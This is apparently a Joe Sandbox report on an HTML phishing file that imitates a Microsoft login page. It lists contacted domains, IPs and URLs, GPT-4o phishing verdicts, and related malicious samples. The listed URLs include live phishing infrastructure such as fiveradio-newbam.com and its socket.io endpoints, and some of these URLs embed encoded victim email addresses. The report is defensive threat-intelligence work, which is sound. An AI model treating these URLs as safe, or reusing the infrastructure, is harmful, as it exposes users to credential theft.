https://fiveradio-newbam.com/socket.io/?EIO=4&transport=websocket&sid=llA91gRN5_pFxgZ2AAWr	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	0%, Virustotal, Browse	unknown
d2vgu95hoyrpkh.cloudfront.net	13.32.145.15	true	false	0%, Virustotal, Browse	unknown
cs837.wac.edgecastcdn.net	192.229.133.221	true	false	0%, Virustotal, Browse	unknown
s-part-0015.t-0009.t-msedge.net	13.107.246.43	true	false	0%, Virustotal, Browse	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	0%, Virustotal, Browse	unknown
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	0%, Virustotal, Browse	unknown
fiveradio-newbam.com	104.21.84.200	true	false	15%, Virustotal, Browse	unknown
www.google.com	142.250.186.100	true	false	0%, Virustotal, Browse	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	0%, Virustotal, Browse	unknown
aadcdn.msftauth.net	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.w3schools.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
cdn.socket.io	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVxEf	true	Avira URL Cloud: phishing	unknown
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVxf4&sid=uVSG40XMoVJ9HcCvAAWu	true	Avira URL Cloud: phishing	unknown
file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	true	Avira URL Cloud: safe	unknown
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVxf5&sid=uVSG40XMoVJ9HcCvAAWu	true	Avira URL Cloud: phishing	unknown
https://fiveradio-newbam.com/jsnom.js	true		unknown
https://a.nel.cloudflare.com/report/v4?s=7BptAIFf0tNX4rJETPtezoOXKUYQ41gbY%2FEKIjpkTiuVqJS9I%2FjYA27iar7cxw7nuxqUOjR5s5HoL7v3CWG9kL6HdIjmMKyErL4u3kTM0UsjxDzrPH1p10KGBhjMCp0WySu%2FRF5NRA%3D%3D	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=Igr5gv16acxkvy9rwKOYOFjwXzsQ59xX4zHj3osy95ZMLOS4KFSekr8g0uYVZ5ACoAMd7y22vxQkVONuRBNW2HE37dsyRO1sDuYF9Ip5fCq08eZ%2F968btDyDJ%2FaIF1vl5SdImQ630A%3D%3D	false	Avira URL Cloud: safe	unknown
https://fiveradio-newbam.com/favicon.ico	true	Avira URL Cloud: phishing	unknown
https://www.w3schools.com/w3css/4/w3.css	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdn.socket.io/4.6.0/socket.io.min.js.map	false	Avira URL Cloud: safe	unknown
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVzar&sid=ow3WvTxR_cQohvTKAAWx	true	Avira URL Cloud: phishing	unknown
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=websocket&sid=FjnTMReM7ssTnzkJAAW9	true	Avira URL Cloud: phishing	unknown
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVzaq&sid=ow3WvTxR_cQohvTKAAWx	true	Avira URL Cloud: phishing	unknown
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVzBj	true	Avira URL Cloud: phishing	unknown
https://ipinfo.io/	false	URL Reputation: safe	unknown
https://cdn.socket.io/4.6.0/socket.io.min.js	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rW9mQ	true	Avira URL Cloud: phishing	unknown
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rWA5s&sid=FjnTMReM7ssTnzkJAAW9	true	Avira URL Cloud: phishing	unknown
https://fiveradio-newbam.com/	true		unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVuVC&sid=llA91gRN5_pFxgZ2AAWr	true	Avira URL Cloud: phishing	unknown
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rV-ov	true	Avira URL Cloud: phishing	unknown
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVuVD&sid=llA91gRN5_pFxgZ2AAWr	true	Avira URL Cloud: phishing	unknown
https://a.nel.cloudflare.com/report/v4?s=TAVP6bQrUxF%2FSV8VheC7us0VIwwyavRF%2Feo7gnWuSBDEVul2i008sN4APLONjZlb1qKbM1fkae6s%2BFBIuOLb%2BdCiuh03BWjm45Nl6VBtY9%2BCyvpjC4R7CeP3FJt5lrO%2FxR1c%2BTR4yg%3D%3D	false	Avira URL Cloud: safe	unknown
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=websocket&sid=uVSG40XMoVJ9HcCvAAWu	true	Avira URL Cloud: phishing	unknown
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rWA5u&sid=FjnTMReM7ssTnzkJAAW9	true	Avira URL Cloud: phishing	unknown
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=websocket&sid=ow3WvTxR_cQohvTKAAWx	true	Avira URL Cloud: phishing	unknown
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVuBL	true	Avira URL Cloud: phishing	unknown
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=websocket&sid=llA91gRN5_pFxgZ2AAWr	true	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://softwarereviews.s3.amazonaws.com/production/favicons/offerings/3117/original/Sharepoint_icon	chromecache_73.2.dr, chromecache_86.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.43	s-part-0015.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
192.229.133.221	cs837.wac.edgecastcdn.net	United States	15133	EDGECASTUS	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.67.196.150	unknown	United States	13335	CLOUDFLARENETUS	false
13.32.145.15	d2vgu95hoyrpkh.cloudfront.net	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.84.200	fiveradio-newbam.com	United States	13335	CLOUDFLARENETUS	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1460053
Start date and time:	2024-06-20 13:53:16 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	0055-fac_aftral.com_Thursday, June 20, 2024.html
Detection:	MAL
Classification:	mal96.phis.winHTML@17/46@20/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.99, 172.217.16.206, 142.251.168.84, 34.104.35.123, 172.217.16.131, 142.250.184.195, 199.232.210.172, 216.58.206.35, 142.250.185.174
Excluded domains from analysis (whitelisted): logincdn.msauth.net, clients1.google.com, fs.microsoft.com, lgincdnmsftuswe2.azureedge.net, accounts.google.com, slscr.update.microsoft.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, lgincdnmsftuswe2.afd.azureedge.net, clients.l.google.com, www.gstatic.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Input	Output
URL: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html Model: gpt-4o	```json{ "phishing_score": 9, "brands": "Microsoft", "phishing": true, "suspicious_domain": true, "has_loginform": true, "has_captcha": true, "setechniques": true, "has_suspicious_link": true, "legitmate_domain": "microsoft.com", "reasons": "The URL 'file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html' is highly suspicious as it is a local file path, not a web URL. This is a common technique used in phishing attacks to mislead users. The page mimics Microsoft's login page, which is a known brand. The presence of a login form and CAPTCHA is typical for phishing sites trying to appear legitimate. The domain 'aftral.com' does not match Microsoft's legitimate domain 'microsoft.com'. The combination of these factors strongly indicates that this is a phishing site."}

URL: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html Model: gpt-4o	```json{ "phishing_score": 9, "brands": "Microsoft", "phishing": true, "suspicious_domain": true, "has_loginform": false, "has_captcha": false, "setechniques": true, "has_suspicious_link": true, "legitmate_domain": "microsoft.com", "reasons": "The URL 'file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html' is a local file path, not a legitimate web domain. This is highly suspicious as legitimate websites are hosted on web servers, not local file systems. The image resembles a Microsoft authentication page, but the URL does not match Microsoft's legitimate domain 'microsoft.com'. The presence of a 'Cancel' button and the 'Terms of use' and 'Privacy & cookies' links at the bottom are typical elements of a legitimate login page, but given the URL, this is likely a phishing attempt. Social engineering techniques are used here to mislead the user into thinking this is a legitimate Microsoft page."}

URL: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html Model: gpt-4o	```json{ "phishing_score": 8, "brands": "Microsoft", "phishing": true, "suspicious_domain": true, "has_loginform": true, "has_captcha": false, "setechniques": true, "has_suspicious_link": true, "legitmate_domain": "microsoft.com", "reasons": "The URL 'file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html' is a local file path, which is highly suspicious for a legitimate login page. The page resembles a Microsoft login page, but the domain 'aftral.com' does not match the legitimate domain 'microsoft.com'. The presence of a login form and the use of social engineering techniques (e.g., mimicking a well-known brand's login page) further indicate that this is likely a phishing site."}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.43	https://emea.dcv.ms/XXTdtnVIfl	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
	946943.xll	Get hash	malicious	Unknown	Browse
	https://assets-usa.mkt.dynamics.com/abe70e4d-5c1e-ef11-8404-000d3a10682d/digitalassets/standaloneforms/a6de0794-2621-ef11-840a-0022481fd617	Get hash	malicious	Unknown	Browse
	90404.xls	Get hash	malicious	Unknown	Browse
	Focus Insolvency Group.xlsx	Get hash	malicious	Unknown	Browse
	http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/	Get hash	malicious	HTMLPhisher	Browse
	https://flow.page/ladobedocs	Get hash	malicious	HTMLPhisher	Browse
	https://url12.mailanyone.net/scanner?m=1s97Wg-0007OG-5w&d=4%7Cmail%2F90%2F1716228600%2F1s97Wg-0007OG-5w%7Cin12e%7C57e1b682%7C11949542%7C14589158%7C664B92FE7E7733B9B01FA361DA6487AF&o=%2Fphta%3A%2Fstspgiexou.nrP.srxp%2FMvjV7dvygwS7x%2FizWOqqG&s=2zn5SGraXgtNWi1MOGGJ5ZmUbDQ	Get hash	malicious	Unknown	Browse
	Erzs#U00e9bet - #U00e1raj#U00e1nlat k#U00e9r#U00e9se.xlsm	Get hash	malicious	FormBook	Browse
	http://accedii.194-48-251-87.cprapid.com/index.php	Get hash	malicious	HTMLPhisher	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
192.229.133.221	https://pub-23354ce60e01474fa600cbca2caadc73.r2.dev/index.html	Get hash	malicious	Unknown	Browse
	061324.html	Get hash	malicious	HTMLPhisher	Browse
	https://ipfs.io/ipfs/bafybeidxmipzaalmlognb3rfcfcibqulicnk3gmalayem2sm4xeqphc43a/Delivery.html	Get hash	malicious	Unknown	Browse
	https://my.sitejet.io/goto/3439258/dc5dce685f2ba1e450cdc6f61e8da88fa7883359b772e3a5b673b56475e9885f/my_website_presentation	Get hash	malicious	HTMLPhisher	Browse
	check(1).html	Get hash	malicious	HTMLPhisher	Browse
	https://ipfs.io/ipfs/bafkreifwplcqnc5zn26ubzvn44lf6k2v62bi6vwcwsnpakzpifgqhvt2ve	Get hash	malicious	HTMLPhisher	Browse
	https://ipfs.io/ipfs/Qmb7vnNtuRy9f1j2QUKCv9PgUyZubGdLghimmAMUsn4GTn/indexx.html/	Get hash	malicious	Unknown	Browse
	https://shoutout.wix.com/so/c6P07NDxS/c?w=TZKBCXkrVA_LfU5BB-tTV_q5lDeQIvLgoBVjKb-7XVw.eyJ1IjoiaHR0cHM6Ly9mdWxsYmx1bWVmaXRuZXNzYXBpLmNvbS9peXUvb25lZHJpdiIsInIiOiJmNmUzNjM0Ni01MDUyLTQzYjEtODYzMy1hNDBkZTVhNTg3ZmYiLCJtIjoibWFpbCIsImMiOiJlZDQ5ZmRkMC02YjcxLTQ1MjgtODA0ZC1lMzc0N2M4MjZiNmQifQ	Get hash	malicious	HTMLPhisher	Browse
	https://gkdks.grid.ws/	Get hash	malicious	HTMLPhisher	Browse
	original.eml	Get hash	malicious	HTMLPhisher	Browse
13.107.246.60	https://pub-23354ce60e01474fa600cbca2caadc73.r2.dev/index.html	Get hash	malicious	Unknown	Browse
	ELECTRONIC RECEIPT_bpost.be.html	Get hash	malicious	HTMLPhisher	Browse
	ELECTRONIC RECEIPT_bpost.be.html	Get hash	malicious	HTMLPhisher	Browse
	https://sdgvgsd34cweghf.pages.dev/	Get hash	malicious	TechSupportScam	Browse
	https://ms-doc.secure-chamber-fil3-doc3565.com/?Ld6B=D0T	Get hash	malicious	Unknown	Browse
	https://gdxgd54e6rtxgf.pages.dev/	Get hash	malicious	TechSupportScam	Browse
	https://yrdyr65rdrfd.pages.dev/	Get hash	malicious	TechSupportScam	Browse
	https://rtdsrt54st.pages.dev/	Get hash	malicious	TechSupportScam	Browse
	https://shoutout.wix.com/so/c6P07NDxS/c?w=TZKBCXkrVA_LfU5BB-tTV_q5lDeQIvLgoBVjKb-7XVw.eyJ1IjoiaHR0cHM6Ly9mdWxsYmx1bWVmaXRuZXNzYXBpLmNvbS9peXUvb25lZHJpdiIsInIiOiJmNmUzNjM0Ni01MDUyLTQzYjEtODYzMy1hNDBkZTVhNTg3ZmYiLCJtIjoibWFpbCIsImMiOiJlZDQ5ZmRkMC02YjcxLTQ1MjgtODA0ZC1lMzc0N2M4MjZiNmQifQ	Get hash	malicious	HTMLPhisher	Browse
	original.eml	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cs837.wac.edgecastcdn.net	https://pub-23354ce60e01474fa600cbca2caadc73.r2.dev/index.html	Get hash	malicious	Unknown	Browse	192.229.133.221
	061324.html	Get hash	malicious	HTMLPhisher	Browse	192.229.133.221
	https://ipfs.io/ipfs/bafybeidxmipzaalmlognb3rfcfcibqulicnk3gmalayem2sm4xeqphc43a/Delivery.html	Get hash	malicious	Unknown	Browse	192.229.133.221
	https://my.sitejet.io/goto/3439258/dc5dce685f2ba1e450cdc6f61e8da88fa7883359b772e3a5b673b56475e9885f/my_website_presentation	Get hash	malicious	HTMLPhisher	Browse	192.229.133.221
	check(1).html	Get hash	malicious	HTMLPhisher	Browse	192.229.133.221
	https://ipfs.io/ipfs/bafkreifwplcqnc5zn26ubzvn44lf6k2v62bi6vwcwsnpakzpifgqhvt2ve	Get hash	malicious	HTMLPhisher	Browse	192.229.133.221
	https://ipfs.io/ipfs/Qmb7vnNtuRy9f1j2QUKCv9PgUyZubGdLghimmAMUsn4GTn/indexx.html/	Get hash	malicious	Unknown	Browse	192.229.133.221
	https://shoutout.wix.com/so/c6P07NDxS/c?w=TZKBCXkrVA_LfU5BB-tTV_q5lDeQIvLgoBVjKb-7XVw.eyJ1IjoiaHR0cHM6Ly9mdWxsYmx1bWVmaXRuZXNzYXBpLmNvbS9peXUvb25lZHJpdiIsInIiOiJmNmUzNjM0Ni01MDUyLTQzYjEtODYzMy1hNDBkZTVhNTg3ZmYiLCJtIjoibWFpbCIsImMiOiJlZDQ5ZmRkMC02YjcxLTQ1MjgtODA0ZC1lMzc0N2M4MjZiNmQifQ	Get hash	malicious	HTMLPhisher	Browse	192.229.133.221
	https://gkdks.grid.ws/	Get hash	malicious	HTMLPhisher	Browse	192.229.133.221
	original.eml	Get hash	malicious	HTMLPhisher	Browse	192.229.133.221
s-part-0017.t-0009.t-msedge.net	MACRO CONSO.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://pub-23354ce60e01474fa600cbca2caadc73.r2.dev/index.html	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://www.baidu.com/link?url=pCe2VMeTMuhndrXyVPsQ3n6O16FCz5n7978FKvmnNu0JERaM9sHkayy_qDGQGjJmvDRCSeZR9vxMVY05bWTLma&wd=dGh1YmVyQG5vcnJpc2VsZWN0cmljLmNvbQ==&eqid=DeUTVqQWINmOgZSMotATfCvHOSfRhkjEiCzwbdpHhYTIdKCLWh	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	original.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://hr.economictimes.indiatimes.com/etl.php?url=//hr.economictimes.indiatimes.com/etl.php?url=https://coloartmoveis.com.br/hbjkjdhusdhjsd/yudfidlsdjskjdhjs/skjdjskkjsd/jdjhshjsjdhjsd/anRvcmtlbHNvbkBjY2ZpLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://youtube.com	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://fahrmark.atlassian.net/wiki/external/Mjg4OWI2MjU5OTliNGRlZjgzOTUwNzI5NjY1ZTA0Nzk	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://contactmonkey.com/api/v1/tracker?cm_session=6cb0d7b4-7514-49ed-a422-137958b36105&cs=d01410f1-e93a-498a-bdf9-aed95ac45c9b&cm_type=link&cm_link=c38d4278-31b3-4240-b05e-868db3a168a7&cm_destination=https://contactmonkey.com/api/v1/tracker?cm_session=78cba606-2264-447f-bc39-Nationalraisin&cs=825ad42b-2c78-40c6-8587-3b0541fc1564&cm_type=link&cm_link=0da11854-d710-40c4-8250-bcd92bcc7ee9&cm_destination=//assets-usa.mkt.dynamics.com/2cd19119-032d-ef11-8406-000d3a342d2d/digitalassets/standaloneforms/1799700c-1f2d-ef11-840a-000d3a5c988f??	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://www.baidu.com/link?url=AFUg5ImByRbRDFqEAwVY_yQvqKKQI0Z9CKlSAojfE3k4FpO2skeOBycThw4wTQJI&wd=YWdyZWdvaXJlQGNvbW11bml0eWZvY3VzZmN1Lm9yZw==&eqid=ukEwxUaNVofiahyjoYydlLeVsGpoQBLJyZiHAGvxPtreMNMzHg	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	ELECTRONIC RECEIPT_bpost.be.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
d2vgu95hoyrpkh.cloudfront.net	https://pub-23354ce60e01474fa600cbca2caadc73.r2.dev/index.html	Get hash	malicious	Unknown	Browse	18.245.31.5
	061324.html	Get hash	malicious	HTMLPhisher	Browse	18.245.31.33
	https://guss-appv.rsrvconfrm-guestshostail.com/apart/hap1yo	Get hash	malicious	Unknown	Browse	18.245.31.33
	https://my.sitejet.io/goto/3439258/dc5dce685f2ba1e450cdc6f61e8da88fa7883359b772e3a5b673b56475e9885f/my_website_presentation	Get hash	malicious	HTMLPhisher	Browse	13.227.219.11
	http://nam.dcv.ms/RrfjPCaxN4	Get hash	malicious	HTMLPhisher	Browse	143.204.194.10
	https://ipfs.io/ipfs/bafkreifwplcqnc5zn26ubzvn44lf6k2v62bi6vwcwsnpakzpifgqhvt2ve	Get hash	malicious	HTMLPhisher	Browse	13.227.219.40
	https://ammsqassociates.com/cl/	Get hash	malicious	HTMLPhisher	Browse	108.157.188.105
	https://ammsqassociates.com/cl/#john_pawlowski@liparifoods.com	Get hash	malicious	HTMLPhisher	Browse	18.245.31.33
	https://ammsqassociates.com/cl/#meredith.milstein@lcatterton.com	Get hash	malicious	HTMLPhisher	Browse	13.32.145.26
	https://shoutout.wix.com/so/c6P07NDxS/c?w=TZKBCXkrVA_LfU5BB-tTV_q5lDeQIvLgoBVjKb-7XVw.eyJ1IjoiaHR0cHM6Ly9mdWxsYmx1bWVmaXRuZXNzYXBpLmNvbS9peXUvb25lZHJpdiIsInIiOiJmNmUzNjM0Ni01MDUyLTQzYjEtODYzMy1hNDBkZTVhNTg3ZmYiLCJtIjoibWFpbCIsImMiOiJlZDQ5ZmRkMC02YjcxLTQ1MjgtODA0ZC1lMzc0N2M4MjZiNmQifQ	Get hash	malicious	HTMLPhisher	Browse	13.227.219.97
sni1gl.wpc.omegacdn.net	https://pub-23354ce60e01474fa600cbca2caadc73.r2.dev/index.html	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://m.morrissey-mmuptn7vfawopptn7vfawop.narymar.com/	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://www.baidu.com/link?url=pCe2VMeTMuhndrXyVPsQ3n6O16FCz5n7978FKvmnNu0JERaM9sHkayy_qDGQGjJmvDRCSeZR9vxMVY05bWTLma&wd=dGh1YmVyQG5vcnJpc2VsZWN0cmljLmNvbQ==&eqid=DeUTVqQWINmOgZSMotATfCvHOSfRhkjEiCzwbdpHhYTIdKCLWh	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	original.eml	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://hr.economictimes.indiatimes.com/etl.php?url=//hr.economictimes.indiatimes.com/etl.php?url=https://coloartmoveis.com.br/hbjkjdhusdhjsd/yudfidlsdjskjdhjs/skjdjskkjsd/jdjhshjsjdhjsd/anRvcmtlbHNvbkBjY2ZpLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://sonavida.com/click?redirect=https%3A%2F%2Fhihello.me%2Fp%2F1fc9f5e4-5e11-4290-9390-82c26f0a785a%3Freferer%3Demail_signature&dID=1711489982997&hashId=dba3aa3b4435e7d336dd03850fb00b4b616bb279ee6c55ea7f10bc69a9d7a3aad622c8	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://www.baidu.com/link?url=AFUg5ImByRbRDFqEAwVY_yQvqKKQI0Z9CKlSAojfE3k4FpO2skeOBycThw4wTQJI&wd=YWdyZWdvaXJlQGNvbW11bml0eWZvY3VzZmN1Lm9yZw==&eqid=ukEwxUaNVofiahyjoYydlLeVsGpoQBLJyZiHAGvxPtreMNMzHg	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	ELECTRONIC RECEIPT_bpost.be.html	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	ELECTRONIC RECEIPTSummitbhc.htm	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://rcpd.net.au/?pcr=cGF1LmZlcnJlckBhaWx5bGFicy5jb20=	Get hash	malicious	Unknown	Browse	152.199.21.175
s-part-0015.t-0009.t-msedge.net	https://sdgvgsd34cweghf.pages.dev/	Get hash	malicious	TechSupportScam	Browse	13.107.246.43
	https://emea.dcv.ms/XXTdtnVIfl	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	13.107.246.43
	https://ms-doc.secure-chamber-fil3-doc3565.com/?Ld6B=D0T	Get hash	malicious	Unknown	Browse	13.107.246.43
	https://atpscan.global.hornetsecurity.com/index.php?atp_str=8B8Q674nKweUpOPaXKM6VOMa9rVmT9F88gJKf7UnPIk7lVcTg1Q-V4IPa1qZ6xDW_Np8A6rXdvweyDFb4X_duRJq__NRXl8C6nr4Fp6_6jXTKY8i-eq9zaGF1nRMS5Naow-X8iPhCaW7gWnz15HywoXkRlBcF-HA5u9xlgwyXxJSOjg--X44rz6dyWRvR2kCcFbMVsikMsdWQtd8ernHlT8lEInagAkd6hInpq8HnR6qVnxsrq7Rp44guKAEXU6p35hzk1o7dqF0S746O9GWjNgbNSAsbClpjLwncPp2G24UeXuZxJpZDdiZxjV9eCg9jbcVC3za2iUP-qdmWbyOqIbtGcKK-4aGuNt5n-Ty9INr0JazCx6mCM_Aqb3V9vOzIhqqb3prxifizllceSNEbCM6OiMEWF8fLffrzjsUM-YjOjojHP7D4cEHhs3d2aEM0Aucrg	Get hash	malicious	HTMLPhisher	Browse	13.107.246.43
	946943.xll	Get hash	malicious	Unknown	Browse	13.107.246.43
	https://assets-usa.mkt.dynamics.com/abe70e4d-5c1e-ef11-8404-000d3a10682d/digitalassets/standaloneforms/a6de0794-2621-ef11-840a-0022481fd617	Get hash	malicious	Unknown	Browse	13.107.246.43
	90404.xls	Get hash	malicious	Unknown	Browse	13.107.246.43
	Focus Insolvency Group.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.43
	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Get hash	malicious	CryptOne, Djvu, GCleaner, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine	Browse	13.107.246.43

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	http://www.jnty3187.vip	Get hash	malicious	Unknown	Browse	168.63.207.29
	MACRO CONSO.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.45
	Play____Now_AUD__autoresponse.htm	Get hash	malicious	Unknown	Browse	13.107.253.45
	Zmtl2jXJ68.elf	Get hash	malicious	Mirai	Browse	52.225.229.233
	D2XjA30YmD.elf	Get hash	malicious	Mirai	Browse	20.13.18.120
	i82HF8QQwf.elf	Get hash	malicious	Mirai	Browse	137.116.229.17
	https://drive.google.com/file/d/1SCCeBL3Md8Sct7wQF5bfbtLysFqXCW6y/view?ts=667387ac	Get hash	malicious	Unknown	Browse	20.60.128.68
	https://drive.google.com/file/d/1SCCeBL3Md8Sct7wQF5bfbtLysFqXCW6y/view?ts=667387ac	Get hash	malicious	Unknown	Browse	20.60.128.68
	MSTeamsSetup_c_l_.exe	Get hash	malicious	Unknown	Browse	52.182.143.215
	hmips.elf	Get hash	malicious	Mirai	Browse	102.133.226.213
MICROSOFT-CORP-MSN-AS-BLOCKUS	http://www.jnty3187.vip	Get hash	malicious	Unknown	Browse	168.63.207.29
	MACRO CONSO.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.45
	Play____Now_AUD__autoresponse.htm	Get hash	malicious	Unknown	Browse	13.107.253.45
	Zmtl2jXJ68.elf	Get hash	malicious	Mirai	Browse	52.225.229.233
	D2XjA30YmD.elf	Get hash	malicious	Mirai	Browse	20.13.18.120
	i82HF8QQwf.elf	Get hash	malicious	Mirai	Browse	137.116.229.17
	https://drive.google.com/file/d/1SCCeBL3Md8Sct7wQF5bfbtLysFqXCW6y/view?ts=667387ac	Get hash	malicious	Unknown	Browse	20.60.128.68
	https://drive.google.com/file/d/1SCCeBL3Md8Sct7wQF5bfbtLysFqXCW6y/view?ts=667387ac	Get hash	malicious	Unknown	Browse	20.60.128.68
	MSTeamsSetup_c_l_.exe	Get hash	malicious	Unknown	Browse	52.182.143.215
	hmips.elf	Get hash	malicious	Mirai	Browse	102.133.226.213
MICROSOFT-CORP-MSN-AS-BLOCKUS	http://www.jnty3187.vip	Get hash	malicious	Unknown	Browse	168.63.207.29
	MACRO CONSO.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.45
	Play____Now_AUD__autoresponse.htm	Get hash	malicious	Unknown	Browse	13.107.253.45
	Zmtl2jXJ68.elf	Get hash	malicious	Mirai	Browse	52.225.229.233
	D2XjA30YmD.elf	Get hash	malicious	Mirai	Browse	20.13.18.120
	i82HF8QQwf.elf	Get hash	malicious	Mirai	Browse	137.116.229.17
	https://drive.google.com/file/d/1SCCeBL3Md8Sct7wQF5bfbtLysFqXCW6y/view?ts=667387ac	Get hash	malicious	Unknown	Browse	20.60.128.68
